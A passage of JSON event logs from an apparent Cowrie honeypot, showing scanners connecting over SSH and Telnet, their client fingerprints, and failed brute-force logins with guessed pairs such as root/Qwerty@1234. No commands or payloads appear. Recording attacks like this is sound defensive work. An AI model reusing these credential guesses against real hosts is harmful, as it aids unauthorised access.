af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:09.944526Z","src_ip":"187.141.71.166","session":"b001e231a500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql2020","message":"login attempt [root/mysql2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:10.454920Z","src_ip":"187.141.71.166","session":"b001e231a500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00268363952637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:11.344191Z","src_ip":"134.209.8.29","session":"570e4c905f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:11.577508Z","src_ip":"187.141.71.166","session":"b001e231a500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58574,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4adb0f1ee40","protocol":"telnet","message":"New connection: 134.209.8.29:58574 (159.203.135.109:23) [session: a4adb0f1ee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:12.091809Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3316994f04d","protocol":"telnet","message":"New connection: 134.209.8.29:58588 (159.203.135.109:23) [session: f3316994f04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:20.516618Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":59978,"dst_ip":"10.17.0.5","dst_port":22,"session":"38237168b630","protocol":"ssh","message":"New connection: 148.216.28.11:59978 (10.17.0.5:22) [session: 38237168b630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:21.948854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:21.953685Z","src_ip":"148.216.28.11","session":"38237168b630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:22.021966Z","src_ip":"148.216.28.11","session":"38237168b630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"1234567","message":"login attempt [username/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:22.326092Z","src_ip":"148.216.28.11","session":"38237168b630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:23.396974Z","src_ip":"148.216.28.11","session":"38237168b630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":38078,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00a0adc270f","protocol":"telnet","message":"New connection: 194.233.64.34:38078 (159.203.135.109:23) [session: e00a0adc270f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:40.537694Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41394,"dst_ip":"159.203.135.109","dst_port":23,"session":"66396d4aad2f","protocol":"telnet","message":"New connection: 134.209.8.29:41394 (159.203.135.109:23) [session: 66396d4aad2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:42.241932Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a10d8677326","protocol":"ssh","message":"New connection: 165.22.63.98:36932 (159.203.135.109:22) [session: 9a10d8677326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:48.705467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:48.710606Z","src_ip":"165.22.63.98","session":"9a10d8677326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:48.954552Z","src_ip":"165.22.63.98","session":"9a10d8677326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@1234","message":"login attempt [root/Qwerty@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:49.940141Z","src_ip":"165.22.63.98","session":"9a10d8677326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:51.181338Z","src_ip":"165.22.63.98","session":"9a10d8677326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00755643844604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:59.138692Z","src_ip":"134.209.8.29","session":"cdd77941a25f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56598,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f1662077390","protocol":"telnet","message":"New connection: 134.209.8.29:56598 (159.203.135.109:23) [session: 6f1662077390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:59.424760Z"}
{"eventid":"cowrie.session.closed","duration":51.3405122756958,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:03.432238Z","src_ip":"134.209.8.29","session":"a4adb0f1ee40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.99858498573303,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:04.515112Z","src_ip":"134.209.8.29","session":"f3316994f04d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":51104,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e50e8be8aa3","protocol":"ssh","message":"New connection: 187.141.71.166:51104 (159.203.135.109:22) [session: 4e50e8be8aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:06.898170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:06.902901Z","src_ip":"187.141.71.166","session":"4e50e8be8aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:07.024354Z","src_ip":"187.141.71.166","session":"4e50e8be8aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"name","message":"login attempt [server/name] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:07.536131Z","src_ip":"187.141.71.166","session":"4e50e8be8aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:08.659579Z","src_ip":"187.141.71.166","session":"4e50e8be8aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88599419593811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:11.423566Z","src_ip":"194.233.64.34","session":"e00a0adc270f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":60794,"dst_ip":"10.17.0.5","dst_port":22,"session":"87891519a6b7","protocol":"ssh","message":"New connection: 148.216.28.11:60794 (10.17.0.5:22) [session: 87891519a6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:12.171074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:12.176064Z","src_ip":"148.216.28.11","session":"87891519a6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:12.243356Z","src_ip":"148.216.28.11","session":"87891519a6b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"Aa123456","message":"login attempt [mysql/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:12.541944Z","src_ip":"148.216.28.11","session":"87891519a6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:13.613116Z","src_ip":"148.216.28.11","session":"87891519a6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":53894,"dst_ip":"10.17.0.5","dst_port":22,"session":"162609c80f49","protocol":"ssh","message":"New connection: 34.135.200.178:53894 (10.17.0.5:22) [session: 162609c80f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:24.586565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:24.592003Z","src_ip":"34.135.200.178","session":"162609c80f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:24.635772Z","src_ip":"34.135.200.178","session":"162609c80f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admina","message":"login attempt [root/admina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:24.809501Z","src_ip":"34.135.200.178","session":"162609c80f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:25.850082Z","src_ip":"34.135.200.178","session":"162609c80f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.65608835220337,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:28.897884Z","src_ip":"134.209.8.29","session":"66396d4aad2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"491465971c04","protocol":"telnet","message":"New connection: 134.209.8.29:39462 (159.203.135.109:23) [session: 491465971c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:30.653500Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47848,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4cb6a5e7731","protocol":"telnet","message":"New connection: 134.209.8.29:47848 (159.203.135.109:23) [session: b4cb6a5e7731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:33.251742Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52660,"dst_ip":"159.203.135.109","dst_port":23,"session":"475869b657e5","protocol":"telnet","message":"New connection: 134.209.8.29:52660 (159.203.135.109:23) [session: 475869b657e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:41.880249Z"}
{"eventid":"cowrie.session.closed","duration":50.85646653175354,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:50.281112Z","src_ip":"134.209.8.29","session":"6f1662077390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":54836,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5cac0af70e7","protocol":"ssh","message":"New connection: 165.22.63.98:54836 (159.203.135.109:22) [session: d5cac0af70e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:50.528857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:50.534768Z","src_ip":"165.22.63.98","session":"d5cac0af70e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:50.772629Z","src_ip":"165.22.63.98","session":"d5cac0af70e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":41452,"dst_ip":"10.17.0.5","dst_port":22,"session":"7732da62132e","protocol":"ssh","message":"New connection: 94.156.152.18:41452 (10.17.0.5:22) [session: 7732da62132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.193040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.204493Z","src_ip":"94.156.152.18","session":"7732da62132e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.322366Z","src_ip":"94.156.152.18","session":"7732da62132e","protocol":"ssh"}
